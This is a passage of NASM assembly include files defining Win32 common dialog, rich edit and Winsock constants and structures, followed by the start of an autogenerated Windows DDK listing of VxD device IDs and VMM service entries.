00000800h+PD_ENABLEPRINTHOOK equ 00001000h+PD_ENABLESETUPHOOK equ 00002000h+PD_ENABLEPRINTTEMPLATE equ 00004000h+PD_ENABLESETUPTEMPLATE equ 00008000h+PD_ENABLEPRINTTEMPLATEHANDLE equ 00010000h+PD_ENABLESETUPTEMPLATEHANDLE equ 00020000h+PD_USEDEVMODECOPIES equ 00040000h+PD_DISABLEPRINTTOFILE equ 00080000h+PD_HIDEPRINTTOFILE equ 00100000h+PDERR_PRINTERCODES equ 1000h+PDERR_SETUPFAILURE equ 1001h+PDERR_PARSEFAILURE equ 1002h+PDERR_RETDEFFAILURE equ 1003h+PDERR_LOADDRVFAILURE equ 1004h+PDERR_GETDEVMODEFAIL equ 1005h+PDERR_INITFAILURE equ 1006h+PDERR_NODEVICES equ 1007h+PDERR_NODEFAULTPRN equ 1008h+PDERR_DNDMMISMATCH equ 1009h+PDERR_CREATEICFAILURE equ 100Ah+PDERR_PRINTERNOTFOUND equ 100Bh+PDERR_DEFAULTDIFFERENT equ 100Ch+DN_DEFAULTPRN equ 0001h+OFN_ALLOWMULTISELECT equ 00000200h+OFN_CREATEPROMPT equ 00002000h+OFN_ENABLEHOOK equ 00000020h+OFN_ENABLETEMPLATE equ 00000040h+OFN_ENABLETEMPLATEHANDLE equ 00000080h+OFN_EXPLORER equ 00080000h+OFN_EXTENSIONDIFFERENT equ 00000400h+OFN_FILEMUSTEXIST equ 00001000h+OFN_HIDEREADONLY equ 00000004h+OFN_LONGNAMES equ 00200000h+OFN_NOCHANGEDIR equ 00000008h+OFN_NODEREFERENCELINKS equ 00100000h+OFN_NOLONGNAMES equ 00040000h+OFN_NONETWORKBUTTON equ 00020000h+OFN_NOREADONLYRETURN equ 00008000h+OFN_NOTESTFILECREATE equ 00010000h+OFN_NOVALIDATE equ 00000100h+OFN_OVERWRITEPROMPT equ 00000002h+OFN_PATHMUSTEXIST equ 00000800h+OFN_READONLY equ 00000001h+OFN_SHAREAWARE equ 00004000h+OFN_SHOWHELP equ 00000010h+OFN_SHAREFALLTHROUGH equ 2+OFN_SHARENOWARN equ 1+OFN_SHAREWARN equ 0+CDERR_DIALOGFAILURE equ 0FFFFh+FNERR_FILENAMECODES equ 3000h+FNERR_SUBCLASSFAILURE equ 3001h+FNERR_INVALIDFILENAME equ 3002h+FNERR_BUFFERTOOSMALL equ 3003h+;--------------------------comdlg structures----------------------------+STRUC CHOOSECOLORAPI+.lStructSize RESD 1+.hwndOwner RESD 1+.hInstance RESD 1+.rgbResult RESD 1+.lpCustColors RESD 1+.Flags RESD 1+.lCustData RESD 1+.lpfnHook RESD 1+.lpTemplateName RESD 1+ENDSTRUC++STRUC FINDREPLACE+.lStructSize RESD 1+.hWndOwner RESD 1+.hInstance RESD 1+.Flags RESD 1+.lpstrFindWhat RESD 1+.lpstrReplaceWith RESD 1+.wFindWhatLen RESW 1+.wReplaceWithLen RESW 1+.lCustData RESD 1+.lpfnHook RESD 1+.lpTemplateName RESD 1+ENDSTRUC++STRUC CHOOSEFONTAPI+.lStructSize RESD 1+.hWndOwner RESD 1+.hDC RESD 1+.lpLogFont RESD 1+.iPointSize RESD 1+.Flags RESD 1+.rgbColors RESD 1+.lCustData RESD 1+.lpfnHook RESD 1+.lpTemplateName RESD 1+.hInstance RESD 1+.lpszStyle RESD 1+.nFontType RESW 1+.Alignment RESW 1+.nSizeMin RESD 1+.nSizeMax RESD 1+ENDSTRUC++STRUC PRINTDLGAPI+.lStructSize RESD 1+.hWndOwner RESD 1+.hDevMode RESD 1+.hDevNames RESD 1+.hDC RESD 1+.Flags RESD 1+.nFromPage RESW 1+.nToPage RESW 1+.nMinPage RESW 1+.nMaxPage RESW 1+.nCopies RESW 1+.hInstance RESD 1+.lCustData RESD 1+.lpfnPrintHook RESD 1+.lpfnSetupHook RESD 1+.lpPrintTemplateName RESD 1+.lpPrintSetupTemplateName RESD 1+.hPrintTemplate RESD 1+.hSetupTemplate RESD 1+ENDSTRUC++STRUC OPENFILENAME+.lStructSize RESD 1+.hWndOwner RESD 1+.hInstance RESD 1+.lpstrFilter RESD 1+.lpstrCustomFilter RESD 1+.nMaxCustFilter RESD 1+.nFilterIndex RESD 1+.lpstrFile RESD 1+.nMaxFile RESD 1+.lpstrFileTitle RESD 1+.nMaxFileTitle RESD 1+.lpstrInitialDir RESD 1+.lpstrTitle RESD 1+.Flags RESD 1+.nFileOffset RESW 1+.nFileExtension RESW 1+.lpstrDefExt RESD 1+.lCustData RESD 1+.lpfnHook RESD 1+.lpTemplateName RESD 1+ENDSTRUC++;--------------------------riched equates-------------------------------+cchTextLimitDefault equ 32767+EM_CANPASTE equ WM_USER+50+EM_DISPLAYBAND equ WM_USER+51+EM_EXGETSEL equ WM_USER+52+EM_EXLIMITTEXT equ WM_USER+53+EM_EXLINEFROMCHAR equ WM_USER+54+EM_EXSETSEL equ WM_USER+55+EM_FINDTEXT equ WM_USER+56+EM_FORMATRANGE equ WM_USER+57+EM_GETCHARFORMAT equ WM_USER+58+EM_GETEVENTMASK equ WM_USER+59+EM_GETOLEINTERFACE equ WM_USER+60+EM_GETPARAFORMAT equ WM_USER+61+EM_GETSELTEXT equ WM_USER+62+EM_HIDESELECTION equ WM_USER+63+EM_PASTESPECIAL equ WM_USER+64+EM_REQUESTRESIZE equ WM_USER+65+EM_SELECTIONTYPE equ WM_USER+66+EM_SETBKGNDCOLOR equ WM_USER+67+EM_SETCHARFORMAT equ WM_USER+68+EM_SETEVENTMASK equ WM_USER+69+EM_SETOLECALLBACK equ WM_USER+70+EM_SETPARAFORMAT equ WM_USER+71+EM_SETTARGETDEVICE equ WM_USER+72+EM_STREAMIN equ WM_USER+73+EM_STREAMOUT equ WM_USER+74+EM_GETTEXTRANGE equ WM_USER+75+EM_FINDWORDBREAK equ WM_USER+76+EM_SETOPTIONS equ WM_USER+77+EM_GETOPTIONS equ WM_USER+78+EM_FINDTEXTEX equ WM_USER+79+EM_GETWORDBREAKPROCEX equ WM_USER+80+EM_SETWORDBREAKPROCEX equ WM_USER+81+EM_SETPUNCTUATION equ WM_USER+100+EM_GETPUNCTUATION equ WM_USER+101+EM_SETWORDWRAPMODE equ WM_USER+102+EM_GETWORDWRAPMODE equ WM_USER+103+EM_SETIMECOLOR equ WM_USER+104+EM_GETIMECOLOR equ WM_USER+105+EM_SETIMEOPTIONS equ WM_USER+106+EM_GETIMEOPTIONS equ WM_USER+107+EN_MSGFILTER equ 0700h+EN_REQUESTRESIZE equ 0701h+EN_SELCHANGE equ 0702h+EN_DROPFILES equ 0703h+EN_PROTECTED equ 0704h+EN_CORRECTTEXT equ 0705h+EN_STOPNOUNDO equ 0706h+EN_IMECHANGE equ 0707h+EN_SAVECLIPBOARD equ 0708h+EN_OLEOPFAILED equ 0709h+ENM_NONE equ 00000000h+ENM_CHANGE equ 00000001h+ENM_UPDATE equ 00000002h+ENM_SCROLL equ 00000004h+ENM_KEYEVENTS equ 00010000h+ENM_MOUSEEVENTS equ 00020000h+ENM_REQUESTRESIZE equ 00040000h+ENM_SELCHANGE equ 00080000h+ENM_DROPFILES equ 00100000h+ENM_PROTECTED equ 00200000h+ENM_CORRECTTEXT equ 00400000h+ENM_IMECHANGE equ 00800000h+ES_SAVESEL equ 00008000h+ES_SUNKEN equ 00004000h+ES_DISABLENOSCROLL equ 00002000h+ES_SELECTIONBAR equ 01000000h+ES_EX_NOCALLOLEINIT equ 01000000h+ES_VERTICAL equ 00400000h+ES_NOIME equ 00080000h+ES_SELFIME equ 00040000h+ECO_AUTOWORDSELECTION equ 00000001h+ECO_AUTOVSCROLL equ 00000040h+ECO_AUTOHSCROLL equ 00000080h+ECO_NOHIDESEL equ 00000100h+ECO_READONLY equ 00000800h+ECO_WANTRETURN equ 00001000h+ECO_SAVESEL equ 00008000h+ECO_SELECTIONBAR equ 01000000h+ECO_VERTICAL equ 00400000h+ECOOP_SET equ 0001h+ECOOP_OR equ 0002h+ECOOP_AND equ 0003h+ECOOP_XOR equ 0004h+WB_CLASSIFY equ 3+WB_MOVEWORDLEFT equ 4+WB_MOVEWORDRIGHT equ 5+WB_LEFTBREAK equ 6+WB_RIGHTBREAK equ 7+WB_MOVEWORDPREV equ 4+WB_MOVEWORDNEXT equ 5+WB_PREVBREAK equ 6+WB_NEXTBREAK equ 7+PC_FOLLOWING equ 1+PC_LEADING equ 2+PC_OVERFLOW equ 3+PC_DELIMITER equ 4+WBF_WORDWRAP equ 010h+WBF_WORDBREAK equ 020h+WBF_OVERFLOW equ 040h+WBF_LEVEL1 equ 080h+WBF_LEVEL2 equ 100h+WBF_CUSTOM equ 200h+IMF_FORCENONE equ 0001h+IMF_FORCEENABLE equ 0002h+IMF_FORCEDISABLE equ 0004h+IMF_CLOSESTATUSWINDOW equ 0008h+IMF_VERTICAL equ 0020h+IMF_FORCEACTIVE equ 0040h+IMF_FORCEINACTIVE equ 0080h+IMF_FORCEREMEMBER equ 0100h+WBF_CLASS equ 0Fh+WBF_ISWHITE equ 10h+WBF_BREAKLINE equ 20h+WBF_BREAKAFTER equ 40h+CFM_BOLD equ 00000001h+CFM_ITALIC equ 00000002h+CFM_UNDERLINE equ 00000004h+CFM_STRIKEOUT equ 00000008h+CFM_PROTECTED equ 00000010h+CFM_SIZE equ 80000000h+CFM_COLOR equ 40000000h+CFM_FACE equ 20000000h+CFM_OFFSET equ 10000000h+CFM_CHARSET equ 08000000h+CFE_BOLD equ 0001h+CFE_ITALIC equ 0002h+CFE_UNDERLINE equ 0004h+CFE_STRIKEOUT equ 0008h+CFE_PROTECTED equ 0010h+CFE_AUTOCOLOR equ 40000000h+yHeightCharPtsMost equ 1638+SCF_SELECTION equ 0001h+SCF_WORD equ 0002h+SF_TEXT equ 0001h+SF_RTF equ 0002h+SF_RTFNOOBJS equ 0003h+SF_TEXTIZED equ 0004h+SFF_SELECTION equ 8000h+SFF_PLAINRTF equ 4000h+MAX_TAB_STOPS equ 32+lDefaultTab equ 720+PFM_STARTINDENT equ 00000001h+PFM_RIGHTINDENT equ 00000002h+PFM_OFFSET equ 00000004h+PFM_ALIGNMENT equ 00000008h+PFM_TABSTOPS equ 00000010h+PFM_NUMBERING equ 00000020h+PFM_OFFSETINDENT equ 80000000h+PFN_BULLET equ 0001h+PFA_LEFT equ 0001h+PFA_RIGHT equ 0002h+PFA_CENTER equ 0003h+SEL_EMPTY equ 0000h+SEL_TEXT equ 0001h+SEL_OBJECT equ 0002h+SEL_MULTICHAR equ 0004h+SEL_MULTIOBJECT equ 0008h+OLEOP_DOVERB equ 1+;--------------------------riched structures-----------------------------+STRUC CHARFORMAT+.cbSize RESD 1+.dwMask RESD 1+.dwEffects RESD 1+.yHeight RESD 1+.yOffset RESD 1+.crTextColor RESD 1+.bCharSet RESB 1+.bPitchAndFamily RESB 1+.szFaceName RESB 1+ENDSTRUC++STRUC CHARRANGE+.cpMin RESD 1+.cpMax RESD 1+ENDSTRUC++STRUC TEXTRANGE+.chrg RESB CHARRANGE_size+.lpstrText RESD 1+ENDSTRUC++STRUC EDITSTREAM+.dwCookie RESD 1+.dwError RESD 1+.pfnCallback RESD 1+ENDSTRUC++STRUC FINDTEXT+.chrg RESB CHARRANGE_size+.lpstrText RESD 1+ENDSTRUC++STRUC FINDTEXTEX+.chrg RESB CHARRANGE_size+.lpstrText RESD 1+.chrgText RESB CHARRANGE_size+ENDSTRUC++STRUC FORMATRANGE+.hdc RESD 1+.hdcTarget RESD 1+.rc RESB RECT_size+.rcPage RESB RECT_size+.chrg RESB CHARRANGE_size+ENDSTRUC++STRUC PARAFORMAT+.cbSize RESD 1+.dwMask RESD 1+.wNumbering RESW 1+.wReserved RESW 1+.dxStartIndent RESD 1+.dxRightIndent RESD 1+.dxOffset RESD 1+.wAlignment RESW 1+.cTabCount RESW 1+.rgxTabs RESD 1+ENDSTRUC++STRUC MSGFILTER+.nmhdr RESB NMHDR_size+.msg RESD 1+.wParam RESD 1+.lParam RESD 1+ENDSTRUC++STRUC REQRESIZE+.nmhdr RESB NMHDR_size+.rc RESB RECT_size+ENDSTRUC++STRUC SELCHANGE+.nmhdr RESB NMHDR_size+.chrg RESB CHARRANGE_size+.seltyp RESW 1+ENDSTRUC++STRUC ENDROPFILES+.nmhdr RESB NMHDR_size+.hDrop RESD 1+.cp RESD 1+.fProtected RESD 1+ENDSTRUC++STRUC ENPROTECTED+.nmhdr RESB NMHDR_size+.msg RESD 1+.wParam RESD 1+.lParam RESD 1+.chrg RESB CHARRANGE_size+ENDSTRUC++STRUC ENSAVECLIPBOARD+.nmhdr RESB NMHDR_size+.cObjectCount RESD 1+.cch RESD 1+ENDSTRUC++STRUC ENOLEOPFAILED+.nmhdr RESB NMHDR_size+.iob RESD 1+.lOper RESD 1+.hr RESD 1+ENDSTRUC++STRUC ENCORRECTTEXT+.nmhdr RESB NMHDR_size+.chrg RESB CHARRANGE_size+.seltyp RESW 1+ENDSTRUC++STRUC PUNCTUATION+.iSize RESD 1+.szPunctuation RESD 1+ENDSTRUC++STRUC COMPCOLOR+.crText RESD 1+.crBackground RESD 1+.dwEffects RESD 1+ENDSTRUC++STRUC REPASTESPECIAL+.dwAspect RESD 1+.dwParam RESD 1+ENDSTRUC++;--------------------------wsock32 equates-------------------------------+WSADESCRIPTION_LEN equ 256+WSASYS_STATUS_LEN equ 128+IPPROTO_IP equ 0+IPPROTO_ICMP equ 1+IPPROTO_GGP equ 2+IPPROTO_TCP equ 6+IPPROTO_PUP equ 12+IPPROTO_UDP equ 17+IPPROTO_IDP equ 22+IPPROTO_ND equ 77+IPPROTO_RAW equ 255+IPPROTO_MAX equ 256+IOCPARM_MASK equ 7Fh+IOC_VOID equ 20000000h+IOC_OUT equ 40000000h+IOC_IN equ 80000000h+IOC_INOUT equ IOC_IN|IOC_OUT+FIONBIO equ 8004667Eh+FIONSYNC equ 8004667Dh+FIONREAD equ 4004667Fh+IPPORT_ECHO equ 7+IPPORT_DISCARD equ 9+IPPORT_SYSTAT equ 11+IPPORT_DAYTIME equ 13+IPPORT_NETSTAT equ 15+IPPORT_FTP equ 21+IPPORT_TELNET equ 23+IPPORT_SMTP equ 25+IPPORT_TIMESERVER equ 37+IPPORT_NAMESERVER equ 42+IPPORT_WHOIS equ 43+IPPORT_MTP equ 57+IPPORT_TFTP equ 69+IPPORT_RJE equ 77+IPPORT_FINGER equ 79+IPPORT_TTYLINK equ 87+IPPORT_SUPDUP equ 95+IPPORT_EXECSERVER equ 512+IPPORT_LOGINSERVER equ 513+IPPORT_CMDSERVER equ 514+IPPORT_EFSSERVER equ 520+IPPORT_BIFFUDP equ 512+IPPORT_WHOSERVER equ 513+IPPORT_ROUTESERVER equ 520+IPPORT_RESERVED equ 1024+IMPLINK_IP equ 155+IMPLINK_LOWEXPER equ 156+IMPLINK_HIGHEXPER equ 158+IN_CLASSA_NET equ 0FF000000h+IN_CLASSA_NSHIFT equ 24+IN_CLASSA_HOST equ 000FFFFFFh+IN_CLASSA_MAX equ 128+IN_CLASSB_NET equ 0FFFF0000h+IN_CLASSB_NSHIFT equ 16+IN_CLASSB_HOST equ 00000FFFFh+IN_CLASSB_MAX equ 65536+IN_CLASSC_NET equ 0FFFFFF00h+IN_CLASSC_NSHIFT equ 8+IN_CLASSC_HOST equ 0000000FFh+INADDR_ANY equ 000000000h+INADDR_LOOPBACK equ 07F000001h+INADDR_BROADCAST equ 0FFFFFFFFh+INADDR_NONE equ 0FFFFFFFFh+SOCK_STREAM equ 1+SOCK_DGRAM equ 2+SOCK_RAW equ 3+SOCK_RDM equ 4+SOCK_SEQPACKET equ 5+SO_DEBUG equ 00001h+SO_ACCEPTCONN equ 00002h+SO_REUSEADDR equ 00004h+SO_KEEPALIVE equ 00008h+SO_DONTROUTE equ 00010h+SO_BROADCAST equ 00020h+SO_USELOOPBACK equ 00040h+SO_LINGER equ 00080h+SO_OOBINLINE equ 00100h+SOL_SOCKET equ 0FFFFh+SO_DONTLINGER equ (-1-SO_LINGER)+SO_SNDBUF equ 01001h+SO_RCVBUF equ 01002h+SO_SNDLOWAT equ 01003h+SO_RCVLOWAT equ 01004h+SO_SNDTIMEO equ 01005h+SO_RCVTIMEO equ 01006h+SO_ERROR equ 01007h+SO_TYPE equ 01008h+TCP_NODELAY equ 00001h+AF_UNSPEC equ 0+AF_UNIX equ 1+AF_INET equ 2+AF_IMPLINK equ 3+AF_PUP equ 4+AF_CHAOS equ 5+AF_NS equ 6+AF_IPX equ 6+AF_ISO equ 7+AF_OSI equ AF_ISO+AF_ECMA equ 8+AF_DATAKIT equ 9+AF_CCITT equ 10+AF_SNA equ 11+AF_DECnet equ 12+AF_DLI equ 13+AF_LAT equ 14+AF_HYLINK equ 15+AF_APPLETALK equ 16+AF_NETBIOS equ 17+AF_MAX equ 18+PF_UNSPEC equ AF_UNSPEC+PF_UNIX equ AF_UNIX+PF_INET equ AF_INET+PF_IMPLINK equ AF_IMPLINK+PF_PUP equ AF_PUP+PF_CHAOS equ AF_CHAOS+PF_NS equ AF_NS+PF_IPX equ AF_IPX+PF_ISO equ AF_ISO+PF_OSI equ AF_OSI+PF_ECMA equ AF_ECMA+PF_DATAKIT equ AF_DATAKIT+PF_CCITT equ AF_CCITT+PF_SNA equ AF_SNA+PF_DECnet equ AF_DECnet+PF_DLI equ AF_DLI+PF_LAT equ AF_LAT+PF_HYLINK equ AF_HYLINK+PF_APPLETALK equ AF_APPLETALK+PF_MAX equ AF_MAX+SOMAXCONN equ 5+MSG_OOB equ 01h+MSG_PEEK equ 02h+MSG_DONTROUTE equ 04h+MSG_MAXIOVLEN equ 16+MAXGETHOSTSTRUCT equ 1024+FD_READ equ 001h+FD_WRITE equ 002h+FD_OOB equ 004h+FD_ACCEPT equ 008h+FD_CONNECT equ 010h+FD_CLOSE equ 020h+WSABASEERR equ 10000+WSAEINTR equ WSABASEERR+4+WSAEBADF equ WSABASEERR+9+WSAEACCES equ WSABASEERR+13+WSAEFAULT equ WSABASEERR+14+WSAEINVAL equ WSABASEERR+22+WSAEMFILE equ WSABASEERR+24+WSAEWOULDBLOCK equ WSABASEERR+35+WSAEINPROGRESS equ WSABASEERR+36+WSAEALREADY equ WSABASEERR+37+WSAENOTSOCK equ WSABASEERR+38+WSAEDESTADDRREQ equ WSABASEERR+39+WSAEMSGSIZE equ WSABASEERR+40+WSAEPROTOTYPE equ WSABASEERR+41+WSAENOPROTOOPT equ WSABASEERR+42+WSAEPROTONOSUPPORT equ WSABASEERR+43+WSAESOCKTNOSUPPORT equ WSABASEERR+44+WSAEOPNOTSUPP equ WSABASEERR+45+WSAEPFNOSUPPORT equ WSABASEERR+46+WSAEAFNOSUPPORT equ WSABASEERR+47+WSAEADDRINUSE equ WSABASEERR+48+WSAEADDRNOTAVAIL equ WSABASEERR+49+WSAENETDOWN equ WSABASEERR+50+WSAENETUNREACH equ WSABASEERR+51+WSAENETRESET equ WSABASEERR+52+WSAECONNABORTED equ WSABASEERR+53+WSAECONNRESET equ WSABASEERR+54+WSAENOBUFS equ WSABASEERR+55+WSAEISCONN equ WSABASEERR+56+WSAENOTCONN equ WSABASEERR+57+WSAESHUTDOWN equ WSABASEERR+58+WSAETOOMANYREFS equ WSABASEERR+59+WSAETIMEDOUT equ WSABASEERR+60+WSAECONNREFUSED equ WSABASEERR+61+WSAELOOP equ WSABASEERR+62+WSAENAMETOOLONG equ WSABASEERR+63+WSAEHOSTDOWN equ WSABASEERR+64+WSAEHOSTUNREACH equ WSABASEERR+65+WSAENOTEMPTY equ WSABASEERR+66+WSAEPROCLIM equ WSABASEERR+67+WSAEUSERS equ WSABASEERR+68+WSAEDQUOT equ WSABASEERR+69+WSAESTALE equ WSABASEERR+70+WSAEREMOTE equ WSABASEERR+71+WSASYSNOTREADY equ WSABASEERR+91+WSAVERNOTSUPPORTED equ WSABASEERR+92+WSANOTINITIALISED equ WSABASEERR+93+WSAHOST_NOT_FOUND equ WSABASEERR+1001+HOST_NOT_FOUND equ WSAHOST_NOT_FOUND+WSATRY_AGAIN equ WSABASEERR+1002+TRY_AGAIN equ WSATRY_AGAIN+WSANO_RECOVERY equ WSABASEERR+1003+NO_RECOVERY equ WSANO_RECOVERY+WSANO_DATA equ WSABASEERR+1004+NO_DATA equ WSANO_DATA+WSANO_ADDRESS equ WSANO_DATA+NO_ADDRESS equ WSANO_ADDRESS+EWOULDBLOCK equ WSAEWOULDBLOCK+EINPROGRESS equ WSAEINPROGRESS+EALREADY equ WSAEALREADY+ENOTSOCK equ WSAENOTSOCK+EDESTADDRREQ equ WSAEDESTADDRREQ+EMSGSIZE equ WSAEMSGSIZE+EPROTOTYPE equ WSAEPROTOTYPE+ENOPROTOOPT equ WSAENOPROTOOPT+EPROTONOSUPPORT equ WSAEPROTONOSUPPORT+ESOCKTNOSUPPORT equ WSAESOCKTNOSUPPORT+EOPNOTSUPP equ WSAEOPNOTSUPP+EPFNOSUPPORT equ WSAEPFNOSUPPORT+EAFNOSUPPORT equ WSAEAFNOSUPPORT+EADDRINUSE equ WSAEADDRINUSE+EADDRNOTAVAIL equ WSAEADDRNOTAVAIL+ENETDOWN equ WSAENETDOWN+ENETUNREACH equ WSAENETUNREACH+ENETRESET equ WSAENETRESET+ECONNABORTED equ WSAECONNABORTED+ECONNRESET equ WSAECONNRESET+ENOBUFS equ WSAENOBUFS+EISCONN equ WSAEISCONN+ENOTCONN equ WSAENOTCONN+ESHUTDOWN equ WSAESHUTDOWN+ETOOMANYREFS equ WSAETOOMANYREFS+ETIMEDOUT equ WSAETIMEDOUT+ECONNREFUSED equ WSAECONNREFUSED+ELOOP equ WSAELOOP+ENAMETOOLONG equ WSAENAMETOOLONG+EHOSTDOWN equ WSAEHOSTDOWN+EHOSTUNREACH equ WSAEHOSTUNREACH+ENOTEMPTY equ WSAENOTEMPTY+EPROCLIM equ WSAEPROCLIM+EUSERS equ WSAEUSERS+EDQUOT equ WSAEDQUOT+ESTALE equ WSAESTALE+EREMOTE equ WSAEREMOTE+FD_SETSIZE equ 64+INVALID_SOCKET equ (-1-0)+SOCKET_ERROR equ -1+SOCKET_BUFFER_SIZE equ 512+ICMP_ECHOREPLY equ 0+ICMP_ECHOREQ equ 8+;------------------------wsock32 structures-----------------------------+STRUC fd_setstruc+.fd_count RESD 1+.fd_array RESD 1+ENDSTRUC++STRUC timeval+.tv_sec RESD 1+.tv_usec RESD 1+ENDSTRUC++STRUC sockaddr_in+.sin_family RESW 1+.sin_port RESW 1+.sin_addr RESD 1+.sin_zero RESB 8+ENDSTRUC++STRUC sockaddr+.sa_family RESW 1+.sa_data RESW 1+ENDSTRUC++STRUC WSAdata+.wVersion RESW 1+.wHighVersion RESW 1+.szDescription RESB WSADESCRIPTION_LEN+1+.szSystemStatus RESB WSASYS_STATUS_LEN+1+.iMaxSockets RESW 1+.iMaxUdpDg RESW 1+.lpVendorInfo RESD 1+ENDSTRUC++STRUC sockproto+.sp_family RESW 1+.sp_protocol RESW 1+ENDSTRUC++STRUC linger+.l_onoff RESW 1+.l_linger RESW 1+ENDSTRUC++STRUC hostentStru+.h_name RESD 1+.h_alias RESD 1+.h_addr RESW 1+.h_len RESW 1+.h_list RESD 1+ENDSTRUC++STRUC netent+.n_name RESD 1+.n_aliases RESD 1+.n_addrtype RESW 1+.n_net RESD 1+ENDSTRUC++STRUC servent+.s_name RESD 1+.s_aliases RESD 1+.s_port RESW 1+.s_proto RESD 1+ENDSTRUC++STRUC icmp_hdr+.icmp_type RESB 1+.icmp_code RESB 1+.icmp_cksum RESW 1+.icmp_id RESW 1+.icmp_seq RESW 1+.icmp_data RESB 1+ENDSTRUC++STRUC ip_hdr+.ip_hlv RESB 1+.ip_tos RESB 1+.ip_len RESW 1+.ip_id RESW 1+.ip_off RESW 1+.ip_ttl RESB 1+.ip_p RESB 1+.ip_cksum RESW 1+.ip_src RESD 1+.ip_dest RESD 1+ENDSTRUC++STRUC ICMP_OPTIONS+.Ttl RESB 1+.Tos RESB 1+.Flags RESB 1+.OptionsSize RESB 1+.OptionsData RESD 1+ENDSTRUC++STRUC ICMP_ECHO_REPLY+.Address RESD 1+.Status RESD 1+.RoundTripTime RESD 1+.DataSize RESW 1+.Reserved RESW 1+.DataPointer RESD 1+.Options RESD 1+.zData RESB 250+ENDSTRUC+���������������������������������������������������������������[WIN32N.INC]���+���������������������������������������������������������������[WINDDK.INC]���+;///////////////////////////////////////////////////////////////////+;// winddk.inc+;//+;// This NASM include file has been autogenerated by VXDi2n+;// from Windows DDK Include direcrory ()+;//++%ifndef INCLUDED_WINDDK_INC__+%define INCLUDED_WINDDK_INC__++VMM_Device_ID equ 0x0001+DEBUG_Device_ID equ 0x0002+VPICD_Device_ID equ 0x0003+VDMAD_Device_ID equ 0x0004+VTD_Device_ID equ 0x0005+V86MMGR_Device_ID equ 0x0006+PageSwap_Device_ID equ 0x0007+PARITY_Device_ID equ 0x0008+REBOOT_Device_ID equ 0x0009+VDD_Device_ID equ 0x000a+VSD_Device_ID equ 0x000b+VMD_Device_ID equ 0x000c+VKD_Device_ID equ 0x000d+VCD_Device_ID equ 0x000e+VPD_Device_ID equ 0x000f+BlockDev_Device_ID equ 0x0010+VMCPD_Device_ID equ 0x0011+EBIOS_Device_ID equ 0x0012+BIOSXLAT_Device_ID equ 0x0013+VNETBIOS_Device_ID equ 0x0014+DOSMGR_Device_ID equ 0x0015+WINLOAD_Device_ID equ 0x0016+SHELL_Device_ID equ 0x0017+VMPoll_Device_ID equ 0x0018+VPROD_Device_ID equ 0x0019+DOSNET_Device_ID equ 0x001a+VFD_Device_ID equ 0x001b+VDD2_Device_ID equ 0x001c+WINDEBUG_Device_ID equ 0x001d+TSRLOAD_Device_ID equ 0x001e+BIOSHOOK_Device_ID equ 0x001f+Int13_Device_ID equ 0x0020+PageFile_Device_ID equ 0x0021+SCSI_Device_ID equ 0x0022+SCSIFD_Device_ID equ 0x0024+VPEND_Device_ID equ 0x0025+APM_Device_ID equ 0x0026+VXDLDR_Device_ID equ 0x0027+Ndis_Device_ID equ 0x0028+VWIN32_Device_ID equ 0x002a+VCOMM_Device_ID equ 0x002b+SPOOLER_Device_ID equ 0x002c+WIN32S_Device_ID equ 0x002d+DEBUGCMD_Device_ID equ 0x002e+CONFIGMG_Device_ID equ 0x0033+DWCFGMG_Device_ID equ 0x0034+SCSIPORT_Device_ID equ 0x0035+VFBACKUP_Device_ID equ 0x0036+ENABLE_Device_ID equ 0x0037+VCOND_Device_ID equ 0x0038+ISAPNP_Device_ID equ 0x003c+BIOS_Device_ID equ 0x003d+IFSMgr_Device_ID equ 0x0040+VCDFSD_Device_ID equ 0x0041+MRCI2_Device_ID equ 0x0042+PCI_Device_ID equ 0x0043+PELOADER_Device_ID equ 0x0044+EISA_Device_ID equ 0x0045+DRAGCLI_Device_ID equ 0x0046+DRAGSRV_Device_ID equ 0x0047+PERF_Device_ID equ 0x0048+AWREDIR_Device_ID equ 0x0049+DDS_Device_ID equ 0x004a+NTKERN_Device_ID equ 0x004b+VDOSKEYD_Device_ID equ 0x004b+ACPI_Device_ID equ 0x004c+UDF_Device_ID equ 0x004d+SMCLIB_Device_ID equ 0x004e+ETEN_Device_ID equ 0x0060+CHBIOS_Device_ID equ 0x0061+VMSGD_Device_ID equ 0x0062+VPPID_Device_ID equ 0x0063+VIME_Device_ID equ 0x0064+VHBIOSD_Device_ID equ 0x0065++Begin_Service_Table VMM ; 0x0001+ VMM_Service Get_VMM_Version ; 0x0000 ord+ VMM_Service Get_Cur_VM_Handle ; 0x0001 ord+ VMM_Service Test_Cur_VM_Handle ; 0x0002 ord+ VMM_Service Get_Sys_VM_Handle ; 0x0003 ord+ VMM_Service Test_Sys_VM_Handle ; 0x0004 ord+ VMM_Service Validate_VM_Handle ; 0x0005 ord+ VMM_Service Get_VMM_Reenter_Count ; 0x0006 ord+ VMM_Service Begin_Reentrant_Execution ; 0x0007 ord+ VMM_Service End_Reentrant_Execution ; 0x0008 ord+ VMM_Service Install_V86_Break_Point ; 0x0009 ord+ VMM_Service Remove_V86_Break_Point ; 0x000a ord+ VMM_Service Allocate_V86_Call_Back ; 0x000b ord+ VMM_Service Allocate_PM_Call_Back ; 0x000c ord+ VMM_Service Call_When_VM_Returns ; 0x000d ord+ VMM_Service Schedule_Global_Event ; 0x000e ord+ VMM_Service Schedule_VM_Event ; 0x000f ord+ VMM_Service Call_Global_Event ; 0x0010 ord+ VMM_Service Call_VM_Event ; 0x0011 ord+ VMM_Service Cancel_Global_Event ; 0x0012 ord+ VMM_Service Cancel_VM_Event ; 0x0013 ord+ VMM_Service Call_Priority_VM_Event ; 0x0014 ord+ VMM_Service Cancel_Priority_VM_Event ; 0x0015 ord+ VMM_Service Get_NMI_Handler_Addr ; 0x0016 ord+ VMM_Service Set_NMI_Handler_Addr ; 0x0017 ord+ VMM_Service Hook_NMI_Event ; 0x0018 ord+ VMM_Service Call_When_VM_Ints_Enabled ; 0x0019 ord+ VMM_Service Enable_VM_Ints ; 0x001a ord+ VMM_Service Disable_VM_Ints ; 0x001b ord+ VMM_Service Map_Flat ; 0x001c ord+ VMM_Service Map_Lin_To_VM_Addr ; 0x001d ord+ VMM_Service Adjust_Exec_Priority ; 0x001e ord+ VMM_Service Begin_Critical_Section ; 0x001f ord+ VMM_Service End_Critical_Section ; 0x0020 ord+ VMM_Service End_Crit_And_Suspend ; 0x0021 ord+ VMM_Service Claim_Critical_Section ; 0x0022 ord+ VMM_Service Release_Critical_Section ; 0x0023 ord+ VMM_Service Call_When_Not_Critical ; 0x0024 ord+ VMM_Service Create_Semaphore ; 0x0025 ord+ VMM_Service Destroy_Semaphore ; 0x0026 ord+ VMM_Service Wait_Semaphore ; 0x0027 ord+ VMM_Service Signal_Semaphore ; 0x0028 